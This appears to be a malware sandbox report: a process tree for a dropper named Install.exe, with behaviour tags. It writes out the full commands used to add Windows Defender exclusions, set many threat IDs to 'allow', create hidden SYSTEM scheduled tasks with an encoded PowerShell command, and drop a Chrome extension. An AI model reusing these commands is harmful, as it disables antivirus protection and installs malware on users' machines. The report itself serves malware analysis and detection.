PID 1292 wrote to memory of 1132	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 1132	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 4144	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 4144	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 4144	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 4688	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 4688	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 4688	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 5036	1292	powershell.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exe
"C:\Users\Admin\AppData\Local\Temp\a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5068

C:\Users\Admin\AppData\Local\Temp\7zS598A.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1036

C:\Users\Admin\AppData\Local\Temp\7zS5B4F.tmp\Install.exe
.\Install.exe /pzoVrdidkhQz "525403" /S
3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:1416

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
4⤵
- Suspicious use of WriteProcessMemory
PID:800

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
5⤵
- Suspicious use of WriteProcessMemory
PID:1944

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4372

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:1620

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bUVDAOPnPkUhchiViu" /SC once /ST 05:08:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS5B4F.tmp\Install.exe\" q7 /uIzdidJc 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:2892

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1416 -s 768
4⤵
- Program crash
PID:4596

C:\Users\Admin\AppData\Local\Temp\7zS5B4F.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS5B4F.tmp\Install.exe q7 /uIzdidJc 525403 /S
1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:5052

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1292

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
- Suspicious use of WriteProcessMemory
PID:2160

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:2528

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:3524

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:164

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:2384

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:424

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:200

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:2880

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:3540

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:2684

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:1132

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:4144

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:4688

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:5036

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:3744

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:2308

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:4104

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:4120

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:2756

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:2876

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:4576

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:3892

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:808

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:1392

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:4424

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
3⤵
PID:624

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
3⤵
PID:2024

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
3⤵
PID:596

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
3⤵
PID:2968

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\MIUMVdEgyTUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\MIUMVdEgyTUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NNMAoTKMcAkAC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NNMAoTKMcAkAC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\bBBSFQQZU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\bBBSFQQZU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rPikKiIbwrQGukIChiR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rPikKiIbwrQGukIChiR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rUfZlqUIdWiU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rUfZlqUIdWiU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fHdtCMTPryqSDgVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fHdtCMTPryqSDgVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WZpWNMsDzSAcKsSA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WZpWNMsDzSAcKsSA\" /t REG_DWORD /d 0 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2976

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MIUMVdEgyTUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1384

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MIUMVdEgyTUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4692

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MIUMVdEgyTUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4396

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NNMAoTKMcAkAC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1020

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NNMAoTKMcAkAC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4460

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bBBSFQQZU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4128

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bBBSFQQZU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2660

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rPikKiIbwrQGukIChiR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4220

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rPikKiIbwrQGukIChiR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:5048

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rUfZlqUIdWiU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:68

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rUfZlqUIdWiU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2612

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fHdtCMTPryqSDgVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:3348

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fHdtCMTPryqSDgVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:2172

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
3⤵
PID:864

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4520

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON /t REG_DWORD /d 0 /reg:32
3⤵
PID:4968

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON /t REG_DWORD /d 0 /reg:64
3⤵
PID:4852

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WZpWNMsDzSAcKsSA /t REG_DWORD /d 0 /reg:32
3⤵
PID:4620

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WZpWNMsDzSAcKsSA /t REG_DWORD /d 0 /reg:64
3⤵
PID:800

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gVtLDSzij" /SC once /ST 00:56:40 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Scheduled Task/Job: Scheduled Task
PID:2180

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gVtLDSzij"
2⤵
PID:4740

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gVtLDSzij"
2⤵
PID:3992

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "MhsnVFKWmmyXGZkTD" /SC once /ST 02:58:43 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WZpWNMsDzSAcKsSA\JdHzeCSmzFzWXve\qUYQYih.exe\" DG /blCfdidzQ 525403 /S" /V1 /F
2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:2292

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "MhsnVFKWmmyXGZkTD"
2⤵
PID:4704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5052 -s 788
2⤵
- Program crash
PID:896

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2848

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:4344

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:1848

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2088

C:\Windows\Temp\WZpWNMsDzSAcKsSA\JdHzeCSmzFzWXve\qUYQYih.exe
C:\Windows\Temp\WZpWNMsDzSAcKsSA\JdHzeCSmzFzWXve\qUYQYih.exe DG /blCfdidzQ 525403 /S
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2308

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bUVDAOPnPkUhchiViu"
2⤵
PID:392

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
2⤵
PID:592

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
3⤵
PID:5076

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
4⤵
PID:5028

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1428

C:\Windows\SysWOW64\Wbem\WMIC.exe
